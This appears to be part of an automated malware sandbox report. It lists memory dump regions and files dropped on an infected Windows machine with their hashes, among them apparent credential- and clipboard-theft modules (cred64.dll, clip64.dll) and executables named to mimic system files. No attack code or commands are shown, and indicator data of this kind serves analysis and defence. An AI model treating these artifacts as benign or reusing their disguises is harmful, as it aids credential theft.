memory/3016-747-0x0000000000400000-0x0000000000D68000-memory.dmp

memory/608-750-0x0000000061E00000-0x0000000061EF3000-memory.dmp

memory/1436-748-0x0000000000AA0000-0x0000000000FED000-memory.dmp

memory/396-746-0x0000000000400000-0x0000000000D68000-memory.dmp

memory/2844-758-0x0000000000400000-0x00000000005BF000-memory.dmp

memory/2844-761-0x0000000000700000-0x0000000000800000-memory.dmp

memory/1212-759-0x000000013FC50000-0x0000000140193000-memory.dmp

memory/608-789-0x00000000006C0000-0x00000000007C0000-memory.dmp

memory/608-788-0x0000000000400000-0x00000000005C7000-memory.dmp

memory/944-790-0x0000000019B30000-0x0000000019E12000-memory.dmp

memory/944-791-0x000007FEF4B00000-0x000007FEF549D000-memory.dmp

memory/944-793-0x0000000001190000-0x0000000001210000-memory.dmp

memory/944-794-0x0000000001190000-0x0000000001210000-memory.dmp

memory/944-795-0x0000000001190000-0x0000000001210000-memory.dmp

memory/944-792-0x0000000000E90000-0x0000000000E98000-memory.dmp

memory/2520-803-0x00000000000B0000-0x00000000000D0000-memory.dmp

memory/1212-804-0x000000013FC50000-0x0000000140193000-memory.dmp

memory/1884-822-0x0000000000400000-0x0000000000A00000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\jusched.log

MD5 1ff17b729d94d0b37aee53feb81050ed
SHA1 0685a3d41de4a123db0085dad5857da2fc2e4d89
SHA256 625e4fe0dbe05d83ddb4cf5af48b380ef084c4de02b025d0e4fa5f27704ea75d
SHA512 ae172f1cf4324bbcae6835a851549f8a3ed8871c629efe05b77297ce94e4f73a9542ee026414f7f833c2bfc17635314f43d91067a9453a1cc500c7a8e56e88a7

C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\6d14e4b1d8ca773bab785d1be032546e_a38c7804-2682-486a-9c4a-7df759db8800

MD5 64bc6b0e1d907ae8acf27bdb155344c2
SHA1 7aa0d9af2d61d73a044f288e16fdd07813c972ba
SHA256 dd4e0b0b64da5d95420c0e5423726f109e820e18b8a0b602274a7404f16f3ab2
SHA512 a98b47e1be62c95b2c9619a39286ab3cb2155c6407d01e9386931db44b92fbcba404ce3474152be0ce43763311f8539dcc533e37ba0f08bfbac647c7989e9469

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help_MValidator.Lck

MD5 b485167c5b0e59d47009a16f90fe2659
SHA1 891ebccd5baa32daed16fb5a0825ca7a4464931f
SHA256 db44b8db4f05d720ef1a57abadeed0c164d47b17416c7dd7d136d8f10fba91c9
SHA512 665e3fcbd83b7876dd1dc7f34fadd8669debdfab8962bdce3b72b08139a75ef157c4f4c3b90ea9c1f20637bb4f2a29091d9186987d22c7d23428a2e7ccf80bd4

C:\ProgramData\Microsoft\Assistance\Client\1.0\de-DE\Help_MValidator.H1D

MD5 53fe811113c3dbc077d2d9a36571458d
SHA1 c48479979f0338063833791fa87b20273b86776b
SHA256 e07c9456762d4ecd230719352ee0ec285ef2712cb03d9dcc92f5aca6a1e4f9ab
SHA512 89ab9d8c83f745452790695a765082bf05c9efac9680c415499c3a8e97d949c535cb3728810791b11f7204201c98b45c10f7aac19a250b985d78009bb15db48d

C:\ProgramData\Microsoft\Assistance\Client\1.0\it-IT\Help{7E352021-69D6-4553-86AC-430B0D8FF913}.H1Q

MD5 9cdef362765707f45fef05eff6d0867c
SHA1 63011f2bfcb5c2725aa5b6fddc911dfceaa61fa8
SHA256 82308ff3aea9a8e7e4519f20f8dd33ac82f4b38bdc2dfe3b946add04fccb2419
SHA512 835abefa124e17419f391a62bb36f1451fe0fbfe5df47eaa82102758d077b0f5e22d69e3b120e989846aeb48ca75da5081a655d56552897f5a71cb0de2547c85

memory/1884-915-0x0000000003540000-0x0000000003D32000-memory.dmp

memory/1884-920-0x0000000003F30000-0x0000000004070000-memory.dmp

memory/1884-918-0x0000000003F30000-0x0000000004070000-memory.dmp

memory/1884-917-0x00000000003F0000-0x00000000003F1000-memory.dmp

memory/1884-921-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

memory/1884-922-0x0000000003F30000-0x0000000004070000-memory.dmp

memory/1884-923-0x0000000003F30000-0x0000000004070000-memory.dmp

C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll

MD5 4bd56443d35c388dbeabd8357c73c67d
SHA1 26248ce8165b788e2964b89d54d1f1125facf8f9
SHA256 021882d0f0cdc7275247b2ef6cc02a28cf0f02971de5b9afa947ffe7b63fb867
SHA512 100dc81a0d74725d74ed3801d7828c53c36315179427e88404cb482f83afc0e8766fd86642b4396b37dd7e3262d66d7138c8b4a175354af98254869fbdd43192

C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll

MD5 49b3faf5b84f179885b1520ffa3ef3da
SHA1 c1ac12aeca413ec45a4f09aa66f0721b4f80413e
SHA256 b89189d3fca0a41aee9d4582a8efbe820d49e87224c325b4a0f4806d96bf86a5
SHA512 018d531b3328267ecaebcb9f523c386c8aa36bf29e7b2e0f61bd96a0f7f2d03c7f25f878c373fbce7e44c8d5512e969b816ed9c72edb44afa302670c652de742

C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

MD5 1afff8d5352aecef2ecd47ffa02d7f7d
SHA1 8b115b84efdb3a1b87f750d35822b2609e665bef
SHA256 c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512 e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

MD5 fd2727132edd0b59fa33733daa11d9ef
SHA1 63e36198d90c4c2b9b09dd6786b82aba5f03d29a
SHA256 3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e
SHA512 3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

C:\Users\Admin\AppData\Local\Temp\osloader.exe

MD5 e2f68dc7fbd6e0bf031ca3809a739346
SHA1 9c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256 b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA512 26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

MD5 5da3a881ef991e8010deed799f1a5aaf
SHA1 fea1acea7ed96d7c9788783781e90a2ea48c1a53
SHA256 f18fdb9e03546bfb98397bcb8378b505eaf4ac061749229a7ee92a1c3cf156e4
SHA512 24fbcb5353a3d51ee01f1de1bbb965f9e40e0d00e52c42713d446f12edceeb8d08b086a8687a6188decaa8f256899e24a06c424d8d73adaad910149a9c45ef09